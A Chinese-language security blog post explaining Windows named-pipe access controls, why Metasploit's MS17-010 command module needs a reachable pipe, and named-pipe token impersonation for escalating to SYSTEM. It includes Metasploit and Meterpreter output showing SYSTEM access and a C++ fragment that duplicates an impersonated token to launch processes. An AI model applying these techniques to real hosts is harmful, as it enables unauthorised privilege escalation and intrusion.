实现&利用命名管道补充&令牌模拟


前言

上一篇已知命名管道从代码层的基本原理实现,及其实际作战中遭遇反弹shell受阻时的使用方式,此处进步针对实际管道应用中进行展开,补充先前所不足

访问控制

命名管道支持跨网络的访问连接,但是会受到访问控制列表或者本地策略的管控

在03及以下的版本中,默认开启了匿名管通信,但是在其上的版本中默认禁止匿名管道通信(含win7)

如下03的默认策略,允许部分的管道匿名访问

image-20211103103930335

后面版本的系统,如下的默认策略完全禁止了匿名访问

image-20211103104236077

带来影响

远程计算机开启管道,本地计算机尝试通过管道写入内容,此时并无权限

image-20211103104926935

通过smb认证后,将建立有效连接,此时就能够实现管道的数据交互如下

image-20211103105057615

这也正是msf中17010针对2008或者2012等如下使用是无法利用成功的根本原因

msf6 auxiliary(admin/smb/ms17_010_command) > run

[*] 192.168.3.144:445     - Target OS: Windows Server 2012 Datacenter 9200
[-] 192.168.3.144:445     - Unable to find accessible named pipe!
[*] 192.168.3.144:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

image-20211103110044508

那么在设置匿名访问后,或者提供有效的身份验证后就可以执行成功

msf6 auxiliary(admin/smb/ms17_010_command) > run

[*] 192.168.3.144:445     - Target OS: Windows Server 2012 Datacenter 9200
[*] 192.168.3.144:445     - Built a write-what-where primitive...
[+] 192.168.3.144:445     - Overwrite complete... SYSTEM session obtained!
[+] 192.168.3.144:445     - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.3.144:445     - Getting the command output...
[*] 192.168.3.144:445     - Executing cleanup...
[+] 192.168.3.144:445     - Cleanup was successful
[+] 192.168.3.144:445     - Command completed successfully!
[*] 192.168.3.144:445     - Output for "whoami":

nt authority\system


[*] 192.168.3.144:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(admin/smb/ms17_010_command) >

image-20211103110151250

令牌模拟

除了绕过防火墙利用命名管道进行交互shell,甚至作为c2通信通道外,还能够进行令牌模拟,一般能够实现提权操作,msf下的getsystem利用的就是这个原理

Technique 1 creates a named pipe from Meterpreter. It also creates and runs a service that runs cmd.exe /c echo “some data” >\.\pipe[random pipe here]. When the spawned cmd.exe connects to Meterpreter’s named pipe, Meterpreter has the opportunity to impersonate that security context. Impersonation of clients is a named pipes feature. The context of the service is SYSTEM, so when you impersonate it, you become SYSTEM.

意思是msf将创建一个管道&一个服务,然后去运行cmd.exe /c echo “some data” >\.\pipe[random pipe here],当cmd连接到msf的管道时,因为服务是system权限,所以msf也就获得一个system权限

实际效果如下

meterpreter > getuid
Server username: ROOTKIT\Administrator
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

image-20211103131928607

此处需要了解如何模拟另个用户,在windows提供的方法中,进程可以模拟另一个用户的安全内容,如ftp服务器的进程允许用户进行身份验证,并且只允许访问特定用户用拥有的文件,则该进行可以模拟用户账户并允许windows强制实施

其中ImpersonateNamedPipeClient是getsystem功能成功的关键,注意只有管道服务器端才可以调用此函数
https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient

ImpersonateNamedPipeClient命名管道允许服务端进程模拟已连接的客户端进程,调用此函数,命名管道文件系统会更改调用进程的线程,开始模拟从管道读取的最后一条消息的安全内容

如当目标用户的进程连接并写入输入攻击者的命名管道,则攻击者能够调用ImpersonateNamedPipeClient模拟目标的令牌,从而模拟用户,进程必须拥有SeImpersonatePrivilege权限(身份证验证后模拟客户端,否则可能无法提权成功),常规情况下该权限一般是系统使用在本地服务账号或者网络账号的,所以当通过服务账户启动的服务漏洞后就可获取相关权限,如local service或network service,权限可能较低,但可以用他来进行权限提升至system

默认情况服务端模拟客户端设置下如下:

image-20211103135243672

image-20211103140806907

image-20211103140853657

image-20211103140328706

进步返回getsystem细节:
1、getsystem创建一个新的windows服务,并以local system权限运行同时连接上命名管道
2、getsystem再产生一个进程,该进程创建一个命名管道并等待服务的连接
3、windows服务启动并连接到产生的进程的命名管道
4、进程接收连接,并调用ImpersonateNamedPipeClient,通过模拟令牌获取system权限

由此能够手动代码实现相关功能点

具体实现模拟本地用户

创建管道&初始化&监听,客户端传递信息,服务端接收信息,利用接收到的权限进行提权

前半部分和建立管道通信大同小异,不再重复
  
重点,模拟system:
			if (ImpersonateNamedPipeClient(MyServerPipe) == 0) {//
				//https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
				cout << "impersonate client fail" << endl;
				return 0;
			}
			if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &ttoken)) {
				//https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openthreadtoken
				cout << "open thread token fail" << endl;
			}
			if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &ptoken)) { //https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken
				cout << "open process token fail" << endl;
			}
			if (!DuplicateTokenEx(ttoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &dtoken)) {//https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetokenex
				cout << "duplicate thread token fail" << endl;
			}
			cout << "impersonate system success" << endl;

CreateProcessAsUserA、CreateProcessWithTokenW进行提权
			if (!CreateProcessAsUserA(dtoken, NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
				printf("CreateProcessAsUserA failed (%d)\n", GetLastError());

				ZeroMemory(&si, sizeof(si));
				si.cb = sizeof(si);
				ZeroMemory(&pi, sizeof(pi));
				
				if (!CreateProcessWithTokenW(dtoken, 0, command,  NULL,CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
   
msf下因为连接的管道是system此处模拟用system进行连接管道,实现效果如下,能够成功获取system令牌

image-20211104134457732

权限对比

image-20211104134634754

具体实现模拟远程用户

使用默认的模拟令牌形式进行远程连接管道将会失败

image-20211104141023253

这是因为客户端模拟产生的用户无法进行远程认证

模拟客户端产生进程,是通过提取当前进程token产生,token仅存在sid&acl等信息,不包含认证所需要的密码、hash,所以只能进行本地认证

Author: Yangsir
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source Yangsir !
  TOC